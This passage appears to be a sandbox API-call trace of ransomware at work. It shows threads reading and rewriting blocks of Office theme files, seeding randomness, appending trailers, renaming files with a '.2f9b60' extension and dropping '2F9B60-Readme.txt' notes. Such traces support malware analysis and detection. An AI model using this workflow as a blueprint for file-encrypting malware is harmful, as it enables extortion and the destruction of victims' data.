Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0110.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0xffffffff [0110.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15e0 [0110.496] WriteFile (in: hFile=0x15e0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2329f9d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2329f9d0*=0xba9, lpOverlapped=0x0) returned 1 [0110.498] CloseHandle (hObject=0x15e0) returned 1 [0110.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10b00) returned 1 Thread: id = 1053 os_tid = 0x171c [0110.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 0x20 [0110.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx", dwFileAttributes=0x20) returned 1 [0110.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1574 [0110.465] GetFileSizeEx (in: hFile=0x1574, lpFileSize=0x23fafa80 | out: lpFileSize=0x23fafa80*=27365) returned 1 [0110.465] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x6ae1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.465] ReadFile (in: hFile=0x1574, lpBuffer=0x23fafa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23fafa48, lpOverlapped=0x0 | out: lpBuffer=0x23fafa00*, lpNumberOfBytesRead=0x23fafa48*=0x4, lpOverlapped=0x0) returned 1 [0110.472] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b020 [0110.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a00 [0110.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ad20 [0110.472] NtQuerySystemTime (in: CurrentTime=0x23faf940 | out: CurrentTime=0x23faf940*=132462177159466000) returned 0x0 [0110.472] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x16bf7521 [0110.472] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x5ad4e08d [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x6fc79d6a [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0xdc7cfaf [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x3dec9d74 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x5a25f799 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x7748f2a8 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x70f0b348 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x42cdf163 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x341e95d9 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x143ba681 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x3d32de29 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x2125b69 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x317a1b74 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x47735faf [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x38f194b5 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x70a9ad62 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x5aa91835 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x4d8506c4 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x7dbc7820 [0110.473] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0xf887d1f [0110.474] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x651cf630 [0110.474] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x180d6284 [0110.474] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x2e1fd678 [0110.474] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x371ea907 [0110.474] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x6253851b [0110.474] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x5f207c01 [0110.474] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x368f8c31 [0110.474] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x1c4c4f16 [0110.474] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x4f1167e [0110.474] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x2027d733 [0110.474] RtlRandomEx (in: Seed=0x23faf930 | out: Seed=0x23faf930) returned 0x10f0b89f [0110.484] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.484] ReadFile (in: hFile=0x1574, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23faf9a0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x23faf9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.488] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b050 [0110.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b050) returned 1 [0110.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e5f0f0 [0110.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b050 [0110.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0110.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ab40) returned 1 [0110.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.493] WriteFile (in: hFile=0x1574, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23faf9a0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x23faf9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0110.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6e130) returned 1 [0110.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b859f10 [0110.500] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0110.500] WriteFile (in: hFile=0x1574, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x23fafa50, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x23fafa50*=0x108, lpOverlapped=0x0) returned 1 [0110.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0110.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859df0) returned 1 [0110.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0110.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0110.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859670 [0110.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859670) returned 1 [0110.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f070 [0110.506] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="a1") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="4c") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="bf") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="c9") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="1f") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="32") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="a7") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="27") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="74") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="97") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="75") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="8b") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="50") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="47") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="37") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="70") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="3c") returned 2 [0110.506] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="d6") returned 2 [0110.507] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="a9") returned 2 [0110.507] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="5f") returned 2 [0110.507] sprintf (in: _Dest=0x1cd9f098, _Format="%c%c" | out: _Dest="93") returned 2 [0110.507] sprintf (in: _Dest=0x1cd9f09a, _Format="%c%c" | out: _Dest="ff") returned 2 [0110.507] RtlInitAnsiString (in: DestinationString=0x23fafac8, SourceString="a14cbfc91f32a7277497758b504737703cd6a95f93ff" | out: DestinationString="a14cbfc91f32a7277497758b504737703cd6a95f93ff") [0110.507] RtlAnsiStringToUnicodeString (in: DestinationString=0x23fafa98, SourceString="a14cbfc91f32a7277497758b504737703cd6a95f93ff", AllocateDestinationString=1 | out: DestinationString="a14cbfc91f32a7277497758b504737703cd6a95f93ff") returned 0x0 [0110.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced9400 [0110.507] wcscat (in: _Dest=0x20279a30, _Source="a14cbfc91f3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\a14cbfc91f3") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\a14cbfc91f3" [0110.507] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\a14cbfc91f3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\a14cbfc91f3.2f9b60" [0110.507] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\a14cbfc91f3.2f9b60", NtPathName=0x23fafa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\a14cbfc91f3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0110.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776af0 [0110.507] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x23fafb10, FileInformation=0x1b776af0, Length=0xca, FileInformationClass=0xa) returned 0x0 [0110.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0110.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0110.509] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x23fafad8, FileInformation=0x23fafae8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23fafad8, FileInformation=0x23fafae8) returned 0x0 [0110.509] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x23fafad8, FileInformation=0x23fafae8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0110.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0110.524] FlushFileBuffers (hFile=0x1574) returned 1 [0110.527] CloseHandle (hObject=0x1574) returned 1 [0110.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0110.528] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0110.528] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0110.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0110.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0110.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64420) returned 1 Thread: id = 1054 os_tid = 0x1720 [0110.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 0x20 [0110.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx", dwFileAttributes=0x20) returned 1 [0110.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0110.502] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x32fcf980 | out: lpFileSize=0x32fcf980*=218310) returned 1 [0110.502] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x354c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.502] ReadFile (in: hFile=0x15e0, lpBuffer=0x32fcf900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x32fcf948, lpOverlapped=0x0 | out: lpBuffer=0x32fcf900*, lpNumberOfBytesRead=0x32fcf948*=0x4, lpOverlapped=0x0) returned 1 [0110.511] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859af0 [0110.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a60 [0110.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a00 [0110.511] NtQuerySystemTime (in: CurrentTime=0x32fcf840 | out: CurrentTime=0x32fcf840*=132462177159934000) returned 0x0 [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x3c66eb08 [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x1bad9af [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x25696cb0 [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x68673393 [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0xa279f91 [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x955b84 [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x70e7e712 [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x6689c36e [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x50d3f304 [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x5408d4da [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x1620a3d0 [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0xf1364a4 [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x1d8a627c [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x4b0f05f2 [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x669fdcd7 [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x5eee1540 [0110.511] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x4f0f1278 [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x100c6ae0 [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x1ec8bca2 [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x6faab1a1 [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x213376c [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x79aa1d [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x2aa25e75 [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x52fb748d [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0xca585f1 [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x5ffb9a1c [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x3d07d70d [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x1ab97324 [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x2a27034 [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x785321c9 [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x521695f2 [0110.512] RtlRandomEx (in: Seed=0x32fcf830 | out: Seed=0x32fcf830) returned 0x6400bda2 [0110.522] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.522] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32fcf8a0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x32fcf8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.525] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859af0 [0110.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859af0) returned 1 [0110.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e5f0f0 [0110.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859af0 [0110.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a00 [0110.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a00) returned 1 [0110.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.526] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32fcf8a0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x32fcf8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0110.531] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.531] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32fcf8a0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x32fcf8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.532] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0110.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ac0) returned 1 [0110.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e5f0f0 [0110.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0110.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0110.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0110.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.533] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32fcf8a0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x32fcf8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0110.538] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x318c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.538] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e6e130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32fcf8a0, lpOverlapped=0x0 | out: lpBuffer=0x41e6e130*, lpNumberOfBytesRead=0x32fcf8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.554] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x318c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0110.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0110.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0110.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0110.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0110.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0110.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0110.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a77f0) returned 1 [0110.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0110.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0110.556] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32fcf8a0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x32fcf8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0110.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0110.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9400 [0110.560] SetFilePointerEx 